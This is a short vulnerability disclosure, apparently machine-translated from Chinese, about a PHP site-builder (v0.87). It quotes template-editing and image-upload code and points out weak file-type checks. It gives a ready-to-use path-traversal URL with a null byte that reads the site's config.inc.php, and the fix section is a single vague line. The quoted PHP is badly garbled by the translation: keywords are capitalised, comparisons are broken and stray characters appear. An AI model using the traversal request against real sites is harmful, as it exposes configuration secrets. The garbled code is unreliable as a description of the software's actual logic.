Industry star self-built website system v0.87 vulnerability and repair

 

 

// Template_edit.php

Function load_library ($ curr_template, $ lib_name)

{

$ Lib_name = str_replace ("0xa", '', $ lib_name); // filter illegal 0xa characters

If ($ lib_name = 'style ')

{

$ Lib_file = '../templates/user_themes/'. $ curr_template. '/'.w.lib_name.'.css ';

}

Else

{

$ Lib_file = '../templates/user_themes/'. $ curr_template. '/'.w.lib_name.'.html ';

}

$ Arr ['html '] = str_replace ("\ xEF \ xBB \ xBF", '', file_get_contents ($ lib_file ));

 

Return $ arr;

}

Strictly speaking, it should not be included. Only get. The conditions are as follows:

 

 

 

If (! $ Aconf ['user _ template'])

{

$ StrMessage = "enable the Custom template before you can operate. <a href = \" sysconfig. php \ "> System Management-> system property Settings </A>-> enable custom templates [Yes ]";

Echo '<SCRIPT language = "javascript"> alert ("'. $ strMessage. '"); </script> ';

Echo showMessage ($ strMessage );

Exit;

}

Usage:

 

 

 

Http://www.bkjia.com/admin/template_edit.php? Template_file =/.../../config. inc. php % 00

 

 

// Cls_image.php

// Some code

Var $ error_no = 0;

Var $ error_msg = '';

Var $ images_dir = 'images ';

Var $ data_dir = 'data ';

Var $ bgcolor = '';

Var $ type_maping = array (1 => 'image/gif', 2 => 'image/jpeg ', 3 => 'image/png ', 4 => 'text/plain ', 5 => 'application/x-zip-compressed', 6 => 'image/pjpeg ', 7 => 'application/octet-stream', 8 => 'image/x-png ', 9 => 'application/msword ');

// Omitted

Function check_file_type ($ img_type ){

Return $ img_type = 'image/pjpeg '|

$ Img_type = 'image/x-png '|

$ Img_type = 'image/png '|

$ Img_type = 'image/gif' |

$ Img_type = 'image/jpeg '|

$ Img_type = 'text/plain '|

$ Img_type = 'application/x-zip-compressed '|

$ Img_type = 'application/x-shockwave-flash' |

$ Img_type = 'application/octet-stream' |

$ Img_type = 'application/msword ';

}

 

Function check_img_type ($ img_type)

{

Return $ img_type = 'image/pjpeg '|

$ Img_type = 'image/x-png '|

$ Img_type = 'image/png '|

$ Img_type = 'image/gif' |

$ Img_type = 'application/x-shockwave-flash' |

$ Img_type = 'image/jpeg ';

}

// Omitted

This verification is not very good...

 

Http://t.qq.com/MakeBug Co., http://hi.baidu.com/micropoor.

 

Fixed: enhanced verification